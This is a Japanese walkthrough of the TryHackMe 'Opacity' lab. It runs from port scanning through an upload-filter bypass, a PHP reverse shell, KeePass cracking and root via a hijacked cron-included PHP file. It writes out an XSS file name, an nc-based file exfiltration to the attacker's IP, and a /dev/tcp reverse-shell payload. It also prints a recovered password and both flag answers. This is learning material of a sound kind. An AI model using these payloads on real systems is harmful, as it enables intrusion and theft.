概要
TryHackMe「Opacity」のWalkthroughです。
Task1
Q1.What is the local.txt flag?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- -oN nmap_result 10.10.175.183
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:ee:29:10:d9:8e:8c:53:e6:4d:e3:67:0c:6e:be:e3 (RSA)
| 256 95:42:cd:fc:71:27:99:39:2d:00:49:ad:1b:e4:cf:0e (ECDSA)
|_ 256 ed:fe:9c:94:ca:9c:08:6f:f2:5c:a6:cf:4d:3c:8e:5b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-10-05T02:13:09
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
139 | netbios-ssn | Samba smbd 4.6.2 |
445 | netbios-ssn | Samba smbd 4.6.2 |
SMBの列挙を試みましたが有用な情報は得られませんでした。
$ enum4linux -a 10.10.38.212
=================================( Share Enumeration on 10.10.38.212 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (opacity server (Samba, Ubuntu))
80
番ポートのディレクトリスキャンをします。
$ dirsearch -u http://10.10.175.183
[22:16:16] 301 - 314B - /cloud -> http://10.10.175.183/cloud/
[22:16:16] 200 - 393B - /cloud/
[22:16:20] 301 - 312B - /css -> http://10.10.175.183/css/
[22:16:41] 200 - 381B - /login.php
/login.php
ではログインフォームが表示されました。
/cloud
へアクセスするとファイルアップロードページが表示されました。
試しにhttp://ip/test.png
を入力するとファイルの取得を確認できました。
画像形式のファイルのみアップロードできるようです。
$ python -m http.server 80
10.10.175.183 - - [04/Oct/2024 22:26:28] code 404, message File not found
10.10.175.183 - - [04/Oct/2024 22:26:28] "GET /test.png HTTP/1.1" 404 -
"><img src=x onerror=alert("XSS")>.jpg
のようなファイル名を送信するとXSSに成功しました。
しかしサーバーの侵入には繋がりませんでした。
拡張子制限回避のテクニックをHackTricksから試してみます。
結果、http://ip/revshell.php#.jpg
のようなペイロードにすると、拡張子の制限を突破してPHPファイルを取得できることが分かりました。
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.38.212 - - [05/Oct/2024 01:17:11] code 404, message File not found
10.10.38.212 - - [05/Oct/2024 01:17:11] "GET /revshell.php HTTP/1.1" 404 -
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
リバースシェル用のPHPファイルを用意してリクエストを送信するとリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.212] 43676
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
05:19:12 up 1:35, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/opt
にKeePass
フィルを発見しました。
$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 Jul 26 2022 .
drwxr-xr-x 19 root root 4096 Jul 26 2022 ..
-rwxrwxr-x 1 sysadmin sysadmin 1566 Jul 8 2022 dataset.kdbx
ダウンロードするためにKaliでリッスンします。
$ nc -nlvp 7777 | tar xf -
ターゲットマシンから接続し、ファイルをダウンロードしました。
$ tar cf - dataset.kdbx | nc 10.6.55.144 7777
JohnTheRipperでファイルのパスワードを解析します。
$ keepass2john dataset.kdbx > hash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
741852963 (dataset)
解析したパスワードでファイルを読み込むとアカウントのパスワードを得られました。
$ keepass2 dataset.kdbx
sysadmin
へログインします。
$ su sysadmin
su sysadmin
Password: Cl0udP4ss40p4city#8700
sysadmin@opacity:/opt$
/home/sysadmin/local.txt
からユーザーフラグを入手できました。
6661b61b44d234d230d06bf5b3c075e2
A.6661b61b44d234d230d06bf5b3c075e2
Q2.What is the proof.txt flag?
pspy
でプロセスを監視すると/home/sysadmin/scripts/script.php
がルート権限で動作していると分かりました。
$ pspy32
2024/10/05 06:08:01 CMD: UID=0 PID=2684 | /usr/bin/php /home/sysadmin/scripts/script.php
2024/10/05 06:08:01 CMD: UID=0 PID=2683 | /bin/sh -c /usr/bin/php /home/sysadmin/scripts/script.php
/home/sysadmin/scripts/script.php
の内容を確認します。
<?php
//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;
//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
$di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
$ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
foreach ( $ri as $file ) {
$file->isDir() ? rmdir($file) : unlink($file);
}
}
?>
require_once()
で読み込んでいるlib/
ディレクトリを確認すると、sysadmin
権限でファイルを操作できそうです。
$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Jul 8 2022 .
drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22 2023 ..
drwxr-xr-x 2 sysadmin root 4096 Jul 26 2022 lib
-rw-r----- 1 root sysadmin 519 Jul 8 2022 script.php
既存のbackup.inc.php
を別ファイル名にします。
$ mv backup.inc.php backup.inc.php.org
新たにbackup.inc.php
を用意します。
<?php
system('bash -c "sh -i >& /dev/tcp/10.6.55.144/1234 0>&1"');
?>
Netcatでリッスンしているとrootのシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.212] 38848
sh: 0: can't access tty; job control turned off
# whoami
root
/root/proof.txt
からルートフラグを入手できます。
ac0d56f93202dd57dcb2498c739fd20e
A.ac0d56f93202dd57dcb2498c739fd20e